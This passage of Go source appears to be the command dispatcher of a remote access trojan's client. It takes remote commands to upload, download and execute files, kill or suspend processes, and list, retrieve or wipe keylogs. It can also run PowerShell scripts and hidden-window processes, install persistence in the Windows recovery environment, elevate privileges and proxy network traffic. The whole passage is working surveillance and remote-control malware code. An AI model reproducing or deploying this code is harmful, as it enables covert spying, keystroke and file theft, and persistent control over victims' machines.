wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "desktop_audio_stop": stopDesktopAudioSession() return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) } switch action { case "file_list": path, _ := envelopePayloadString(envelope, "path") return HandleFileList(ctx, env, cmdID, path) case "file_request_access": path, _ := envelopePayloadString(envelope, "path") return HandleFileRequestAccess(ctx, env, cmdID, path) case "file_download": path, _ := envelopePayloadString(envelope, "path") return HandleFileDownload(ctx, env, cmdID, path) case "file_upload": payload, _ := envelope["payload"].(map[string]interface{}) path, _ := payload["path"].(string) offset := payloadNumberToInt64(payload["offset"]) total := payloadNumberToInt64(payload["total"]) transferID, _ := payload["transferId"].(string) data := []byte{} if d, ok := payload["data"].([]byte); ok { data = d } return HandleFileUpload(ctx, env, cmdID, path, data, offset, total, transferID) case "file_upload_http": payload, _ := envelope["payload"].(map[string]interface{}) path, _ := payload["path"].(string) sourceURL, _ := payload["url"].(string) total := payloadNumberToInt64(payload["total"]) return HandleFileUploadHTTP(ctx, env, cmdID, path, sourceURL, total) case "file_delete": path, _ := envelopePayloadString(envelope, "path") return HandleFileDelete(ctx, env, cmdID, path) case "file_mkdir": path, _ := envelopePayloadString(envelope, "path") return HandleFileMkdir(ctx, env, cmdID, path) case "file_zip": path, _ := envelopePayloadString(envelope, "path") zipCtx, cancel := context.WithCancel(ctx) registerCancellableCommand(cmdID, cancel) goSafe("file_zip", env.Cancel, func() { defer unregisterCommand(cmdID) if err := HandleFileZip(zipCtx, env, cmdID, path); err != nil && err != context.Canceled { log.Printf("file_zip error: %v", err) } }) return nil case "file_read": payload, _ := envelope["payload"].(map[string]interface{}) path, _ := payload["path"].(string) maxSize := int64(0) if ms, ok := payload["maxSize"].(float64); ok { maxSize = int64(ms) } return HandleFileRead(ctx, env, cmdID, path, maxSize) case "file_write": payload, _ := envelope["payload"].(map[string]interface{}) path, _ := payload["path"].(string) content, _ := payload["content"].(string) return HandleFileWrite(ctx, env, cmdID, path, content) case "file_search": payload, _ := envelope["payload"].(map[string]interface{}) searchID, _ := payload["searchId"].(string) basePath, _ := payload["path"].(string) pattern, _ := payload["pattern"].(string) searchContent := false if sc, ok := payload["searchContent"].(bool); ok { searchContent = sc } maxResults := 0 if mr, ok := payload["maxResults"].(float64); ok { maxResults = int(mr) } return HandleFileSearch(ctx, env, cmdID, searchID, basePath, pattern, searchContent, maxResults) case "file_copy": payload, _ := envelope["payload"].(map[string]interface{}) source, _ := payload["source"].(string) dest, _ := payload["dest"].(string) return HandleFileCopy(ctx, env, cmdID, source, dest) case "file_move": payload, _ := envelope["payload"].(map[string]interface{}) source, _ := payload["source"].(string) dest, _ := payload["dest"].(string) return HandleFileMove(ctx, env, cmdID, source, dest) case "file_chmod": payload, _ := envelope["payload"].(map[string]interface{}) path, _ := payload["path"].(string) mode, _ := payload["mode"].(string) return HandleFileChmod(ctx, env, cmdID, path, mode) case "file_execute": payload, _ := envelope["payload"].(map[string]interface{}) path, _ := payload["path"].(string) return HandleFileExecute(ctx, env, cmdID, path) case "file_icon": payload, _ := envelope["payload"].(map[string]interface{}) items := parseIconRequestItems(payload["items"]) goSafe("file_icon", env.Cancel, func() { if err := HandleFileIcon(ctx, env, cmdID, items); err != nil && err != context.Canceled { log.Printf("file_icon error: %v", err) } }) return nil case "file_thumb": payload, _ := envelope["payload"].(map[string]interface{}) items := parseThumbRequestItems(payload["items"]) goSafe("file_thumb", env.Cancel, func() { if err := HandleFileThumbnail(ctx, env, cmdID, items); err != nil && err != context.Canceled { log.Printf("file_thumb error: %v", err) } }) return nil case "file_dirsize": path, _ := envelopePayloadString(envelope, "path") dirsizeCtx, cancel := context.WithCancel(ctx) registerCancellableCommand(cmdID, cancel) goSafe("file_dirsize", env.Cancel, func() { defer unregisterCommand(cmdID) if err := HandleFolderSize(dirsizeCtx, env, cmdID, path); err != nil && err != context.Canceled { log.Printf("file_dirsize error: %v", err) } }) return nil case "file_peek": payload, _ := envelope["payload"].(map[string]interface{}) path, _ := payload["path"].(string) bytesToRead := 0 if v, ok := payloadInt(payload, "bytes"); ok { bytesToRead = v } goSafe("file_peek", env.Cancel, func() { if err := HandleFilePeek(ctx, env, cmdID, path, bytesToRead); err != nil && err != context.Canceled { log.Printf("file_peek error: %v", err) } }) return nil case "file_hash": payload, _ := envelope["payload"].(map[string]interface{}) path, _ := payload["path"].(string) algorithm, _ := payload["algorithm"].(string) hashCtx, cancel := context.WithCancel(ctx) registerCancellableCommand(cmdID, cancel) goSafe("file_hash", env.Cancel, func() { defer unregisterCommand(cmdID) select { case fileHashSlots <- struct{}{}: defer func() { <-fileHashSlots }() case <-hashCtx.Done(): return } if err := HandleFileHash(hashCtx, env, cmdID, path, algorithm); err != nil && err != context.Canceled { log.Printf("file_hash error: %v", err) } }) return nil case "agent_update": payload, _ := envelope["payload"].(map[string]interface{}) path, _ := payload["path"].(string) hash, _ := payload["hash"].(string) hideWindow, _ := payload["hideWindow"].(bool) return HandleAgentUpdate(ctx, env, cmdID, path, hash, hideWindow) case "process_list": return HandleProcessList(ctx, env, cmdID) case "process_icon": payload, _ := envelope["payload"].(map[string]interface{}) items := parseIconRequestItems(payload["items"]) goSafe("process_icon", env.Cancel, func() { if err := HandleProcessIcon(ctx, env, cmdID, items); err != nil && err != context.Canceled { log.Printf("process_icon error: %v", err) } }) return nil case "process_kill": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok { payload = make(map[string]interface{}, len(rawPayload)) for k, v := range rawPayload { ks, ok := k.(string) if !ok { continue } payload[ks] = v } } } pid := int32(0) if p, ok := payload["pid"].(float64); ok { pid = int32(p) } if p, ok := payload["pid"].(string); ok { if parsed, err := strconv.Atoi(p); err == nil { pid = int32(parsed) } } if p, ok := payload["pid"].(uint16); ok { pid = int32(p) } if p, ok := payload["pid"].(uint8); ok { pid = int32(p) } if p, ok := payload["pid"].(uint64); ok { pid = int32(p) } if p, ok := payload["pid"].(uint32); ok { pid = int32(p) } if p, ok := payload["pid"].(uint); ok { pid = int32(p) } if p, ok := payload["pid"].(int32); ok { pid = p } if p, ok := payload["pid"].(int64); ok { pid = int32(p) } if p, ok := payload["pid"].(int); ok { pid = int32(p) } return HandleProcessKill(ctx, env, cmdID, pid) case "process_suspend": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok { payload = make(map[string]interface{}, len(rawPayload)) for k, v := range rawPayload { ks, ok := k.(string) if !ok { continue } payload[ks] = v } } } suspendPid := int32(0) if p, ok := payload["pid"].(float64); ok { suspendPid = int32(p) } if p, ok := payload["pid"].(uint64); ok { suspendPid = int32(p) } if p, ok := payload["pid"].(int64); ok { suspendPid = int32(p) } if p, ok := payload["pid"].(int); ok { suspendPid = int32(p) } return HandleProcessSuspend(ctx, env, cmdID, suspendPid) case "process_resume": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok { payload = make(map[string]interface{}, len(rawPayload)) for k, v := range rawPayload { ks, ok := k.(string) if !ok { continue } payload[ks] = v } } } resumePid := int32(0) if p, ok := payload["pid"].(float64); ok { resumePid = int32(p) } if p, ok := payload["pid"].(uint64); ok { resumePid = int32(p) } if p, ok := payload["pid"].(int64); ok { resumePid = int32(p) } if p, ok := payload["pid"].(int); ok { resumePid = int32(p) } return HandleProcessResume(ctx, env, cmdID, resumePid) case "keylog_request_permission": return HandleKeylogRequestPermission(ctx, env, cmdID) case "darwin_request_permissions": payload, _ := envelope["payload"].(map[string]interface{}) var requested []string refreshOnly, _ := payload["refreshOnly"].(bool) if raw, ok := payload["permissions"].([]interface{}); ok { for _, item := range raw { if key, ok := item.(string); ok && key != "" { requested = append(requested, key) } } } perms := sysinfo.DarwinPermissionsRefresh() if !refreshOnly { perms = sysinfo.RequestDarwinPermissions(requested) } missing := make([]string, 0) keys := []string{"accessibility", "screenRecording", "fullDiskAccess"} if !refreshOnly { keys = append(keys, "inputMonitoring") } for _, key := range keys { if perms == nil || !perms[key] { missing = append(missing, key) } } detail, _ := json.Marshal(map[string]interface{}{ "permissions": perms, "missing": missing, }) return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ Type: "command_result", CommandID: cmdID, OK: len(missing) == 0, Message: string(detail), }) case "keylog_list": return HandleKeylogList(ctx, env, cmdID) case "keylog_retrieve": payload, _ := envelope["payload"].(map[string]interface{}) filename, _ := payload["filename"].(string) return HandleKeylogRetrieve(ctx, env, cmdID, filename) case "keylog_clear_all": return HandleKeylogClearAll(ctx, env, cmdID) case "keylog_delete": payload, _ := envelope["payload"].(map[string]interface{}) filename, _ := payload["filename"].(string) return HandleKeylogDelete(ctx, env, cmdID, filename) case "script_exec": payload, _ := envelope["payload"].(map[string]interface{}) scriptContent, _ := payload["script"].(string) scriptType, _ := payload["type"].(string) if scriptType == "" { scriptType = "powershell" } StartScriptExecute(ctx, env, cmdID, scriptContent, scriptType) return nil case "silent_exec": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok { payload = make(map[string]interface{}, len(rawPayload)) for k, v := range rawPayload { ks, ok := k.(string) if !ok { continue } payload[ks] = v } } } command, _ := payload["command"].(string) command = strings.TrimSpace(command) if len(command) >= 2 { if (command[0] == '"' && command[len(command)-1] == '"') || (command[0] == '\'' && command[len(command)-1] == '\'') { command = command[1 : len(command)-1] } } argsRaw, _ := payload["args"].(string) hideWindow := true if v, ok := payload["hideWindow"].(bool); ok { hideWindow = v } cwd, _ := payload["cwd"].(string) if command == "" { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing command"}) } args := parseCommandArgs(argsRaw) if err := startSilentProcess(command, args, cwd, hideWindow); err != nil { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "winre_install": payload := payloadAsMap(envelope["payload"]) useSelf := false if v, ok := payload["useSelf"].(bool); ok { useSelf = v } filePath, _ := payload["filePath"].(string) if err := handleWinREInstall(ctx, env, cmdID, filePath, useSelf); err != nil { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "winre_probe": if !WinRESupported() { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "WinRE persistence is not enabled on this client"}) } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "winre_uninstall": if err := handleWinREUninstall(ctx, env, cmdID); err != nil { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) case "privacy_start": payload, _ := envelope["payload"].(map[string]interface{}) _ = handlePrivacyStart(ctx, env, cmdID, payload) return nil case "privacy_stop": _ = handlePrivacyStop(ctx, env, cmdID) return nil case "privacy_status": _ = handlePrivacyStatus(ctx, env, cmdID) return nil case "uninstall": res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true} _ = wire.WriteMsg(ctx, env.Conn, res) if err := removePersistence(); err != nil { log.Printf("uninstall: failed to remove persistence: %v", err) } criticalproc.Teardown() os.Exit(0) case "disconnect": res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true} _ = wire.WriteMsg(ctx, env.Conn, res) resetForReconnect(env) criticalproc.Teardown() os.Exit(0) return nil case "reconnect": resetForReconnect(env) res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true} _ = wire.WriteMsg(ctx, env.Conn, res) return ErrReconnect case "elevate": payload, _ := envelope["payload"].(map[string]interface{}) password, _ := payload["password"].(string) return HandleElevate(ctx, env, cmdID, password) case "proxy_connect": payload, _ := envelope["payload"].(map[string]interface{}) return HandleProxyConnect(ctx, env, cmdID, payload) case "proxy_data": payload, _ := envelope["payload"].(map[string]interface{}) return HandleProxyData(ctx, env, cmdID, payload) case "proxy_close": return HandleProxyClose(ctx, env, cmdID) default: log.Printf("command: unknown action=%s", action) res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "unknown command"} return wire.WriteMsg(ctx, env.Conn, res) } return nil } func envelopePayloadString(envelope map[string]interface{}, key string) (string, bool) { payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { return "", false } val, _ := payload[key].(string) return val, val != "" } func envelopePayloadInts(envelope map[string]interface{}) (int, int) { payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { return 0, 0 } cols, _ := payload["cols"].(int) rows, _ := payload["rows"].(int) if cols == 0 { if f, ok := payload["cols"].(float64); ok { cols = int(f) } if i, ok := payload["cols"].(int64); ok { cols = int(i) } } if rows == 0 { if f, ok := payload["rows"].(float64); ok { rows = int(f) } if i, ok := payload["rows"].(int64); ok { rows = int(i) } } if cols == 0 { cols = 120 } if rows == 0 { rows = 36 } return cols, rows } func toInt(v interface{}) int { if v == nil { return 0 } if i, ok := v.(int); ok { return i } if i, ok := v.(int8); ok { return int(i) } if i, ok := v.(int16); ok { return int(i) } if i, ok := v.(int32); ok { return int(i) } if i, ok := v.(int64); ok { return int(i) } if i, ok := v.(uint8); ok { return int(i) } if i, ok := v.(uint16); ok { return int(i) } if i, ok := v.(uint32); ok { return int(i) } if i, ok := v.(uint64); ok { return int(i) } if f, ok := v.(float64); ok { return int(f) } return 0 } func handlePrivacyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error { if goruntime.GOOS != "windows" { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ Type: "command_result", CommandID: cmdID, OK: false, Message: "privacy mode is only supported on Windows", }) } if privacy.IsEnabled() { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ Type: "command_result", CommandID: cmdID, OK: true, Message: "privacy mode already active", }) } if err := privacy.Start(); err != nil { log.Printf("privacy: start failed: %v", err) return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error(), }) } log.Printf("privacy: mode enabled") return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ Type: "command_result", CommandID: cmdID, OK: true, }) } func handlePrivacyStop(ctx context.Context, env *runtime.Env, cmdID string) error { privacy.Stop() log.Printf("privacy: mode disabled") return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ Type: "command_result", CommandID: cmdID, OK: true, }) } func handlePrivacyStatus(ctx context.Context, env *runtime.Env, cmdID string) error { enabled := privacy.IsEnabled() return wire.WriteMsg(ctx, env.Conn, wire.PrivacyStatus{ Type: "privacy_status", Enabled: enabled, }) }